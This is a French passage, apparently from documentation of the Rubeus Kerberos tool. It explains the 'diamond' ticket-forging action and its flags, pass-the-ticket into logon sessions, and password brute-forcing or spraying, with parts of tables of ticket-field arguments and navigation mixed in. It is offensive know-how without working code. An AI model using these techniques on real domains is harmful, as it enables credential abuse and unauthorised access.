L'action diamond forgera un TGT diamond en modifiant un TGT demandé pour un utilisateur en utilisant les arguments donnés. D'abord, un TGT sera demandé pour l'utilisateur spécifié et la clé de chiffrement (/rc4, /aes128, /aes256, ou /des). Un flag /password peut également être utilisé à la place d'un hachage - dans ce cas /enctype:X utilisera RC4 par défaut pour l'échange, avec des|aes128|aes256 comme options. Alternativement, l'authentification PKINIT est supportée avec l'argument /certificate:X. Lorsque la clé privée dans le fichier PFX est protégée par mot de passe, ce mot de passe peut être passé avec l'argument /password:X. Enfin, le flag /tgtdeleg peut être passé pour demander un TGT en utilisant l'astuce tgtdeleg. L'argument /krbkey:X est utilisé pour déchiffrer le ticket, le resigner après les modifications, et le rechiffrer.

Si aucun /domain n'est spécifié, le domaine actuel de l'ordinateur est extrait, et si aucun /dc n'est spécifié, la même chose est faite pour le contrôleur de domaine actuel du système. Le flag /ptt effectuera un "pass-the-ticket" et appliquera le credential Kerberos résultant à la session de connexion actuelle. Le flag /luid:0xA.. appliquera le ticket à l'ID de session de connexion spécifié (élévation nécessaire) au lieu de la session de connexion actuelle.


Read more

Télécharger l’outil
  • kirbi
  • Instructions de compilation
    • Cibler d'autres versions .NET
    • Note : Construire Rubeus en tant que bibliothèque
    • Note : Exécuter Rubeus via PowerShell
      • Note secondaire : Exécuter Rubeus via PSRemoting
  • CommandeDescription
    asktgtDemander un ticket d'octroi de ticket (TGT) à partir d'un hash/clé ou d'un mot de passe
    asktgsDemander un ticket de service à partir d'un TGT passé
    renewRenouveler (ou renouveler automatiquement) un TGT ou un ticket de service
    bruteEffectuer une attaque par force brute de mot de passe basée sur Kerberos. 'spray' peut également être utilisé à la place de 'brute'
    preauthscanEffectuer un scan pour les comptes qui ne nécessitent pas de pré-authentification Kerberos
    /resourcegroups
    /resourcegroupsid
    ArgumentDescription
    /authtimeDéfinit le champ authtime dans le EncTicketPart. Au format heure locale - Converti automatiquement en UTC (Par défaut : maintenant)
    /starttimeDéfinit le champ starttime dans le EncTicketPart. Au format heure locale - Converti automatiquement en UTC (Par défaut : maintenant)
    /endtimeDéfinit le champ endtime dans le EncTicketPart. Ceci est relatif à starttime, au format multiplicateur plus plage horaire, donc pour 5 jours, 5d. Plus d'informations sur ce format expliqué ci-dessous (Par défaut : 10h)
    /renewtillDéfinit le champ renew-till dans le EncTicketPart. Ceci est relatif à starttime, au format multiplicateur plus plage horaire, donc pour 5 jours, 5d. Plus d'informations sur ce format expliqué ci-dessous (Par défaut : 7d)
    /rangeendCeci permet de créer plusieurs tickets qui commencent à des moments différents. Ce sera le dernier starttime, relatif à /starttime, au format multiplicateur plus plage horaire, donc pour 5 jours, 5d. Plus d'informations sur ce format expliqué ci-dessous
    /rangeintervalCeci permet de créer plusieurs tickets dont les débuts sont à des moments différents. C'est l'intervalle qui sera utilisé entre chaque starttime, au format multiplicateur plus plage horaire, donc pour 5 jours, 5d. Plus d'informations sur ce format expliqué ci-dessous
    /flagsDéfinit les flags du ticket dans le EncTicketPart (Par défaut : forwardable,renewable,pre_authent et pour golden aussi initial)
    /extendedupndnsInclut le nouveau UpnDns étendu (qui inclut le samaccountname et le SID du compte)